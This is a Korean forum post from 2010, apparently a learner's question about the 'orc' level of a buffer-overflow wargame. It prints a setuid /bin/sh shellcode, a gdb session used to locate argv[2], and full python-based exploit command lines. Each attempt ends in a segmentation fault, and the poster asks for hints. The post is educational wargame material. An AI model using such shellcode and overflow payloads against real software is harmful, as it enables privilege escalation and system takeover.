|
http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship&no=119 [복사]
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
제가 이용하는 쉘코드입니다
argv[1]에 44바이트 + argv[2]의 주소
argv[2]에 쉘코드 를 넣고 공격코드를 짜봤습니다
일단 argv[2]의 주소값을 보기위해
cp orc ./tmp 를 하고
[goblin@localhost tmp]$ gdb -q orc
(gdb) b *main+10
Breakpoint 1 at 0x804850a
(gdb) run "`python -c 'print "a"*44+"\x23\xfc\xff\xbf"'`" "`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`"
Starting program: /home/goblin/tmp/orc "`python -c 'print "a"*44+"\x23\xfc\xff\xbf"'`" "`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`"
Breakpoint 1, 0x804850a in main ()
그후 x/10 $ebp 로 argv의 주소를 얻고
argv안으로 들어가서 argv[2]의 주소를 얻었습니다
주소가 0xbffffc23이더군요
/home/goblin/tmp/orc "`python -c 'print "a"*44+"\x23\xfc\xff\xbf"'`" "`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`"
그렇게해서 완성된 코드입니다
그런데
[goblin@localhost tmp]$ /home/goblin/orc "`python -c 'print "a"*44+"\x23\xfc\xff\xbf"'`" "`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa#?
Segmentation fault
[goblin@localhost tmp]$ /home/goblin/tmp/orc "`python -c 'print "a"*44+"\x23\xfc\xff\xbf"'`" "`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa#?
Segmentation fault (core dumped)
도대체 어디가 잘못된건지 모르겠습니다;
3일동안 잡고있는데 진전도없고..답답합니다
아시는분 있으시면 어디가 잘못되었는지 힌트라도 주시면 감사하겠습니다
---
\xff가 제대로 스택에 제대로 들어가지가 않는다는말을 들었는데..
여태껀 ftz풀때 ret에 ff가 포함된 에그쉘 주소를 써넣어도 실행은 문제없이 됐었어서..햇갈리기만하네요 |
Hit : 3022 Date : 2010/05/13 09:46
|
218, 
1/11 
산적
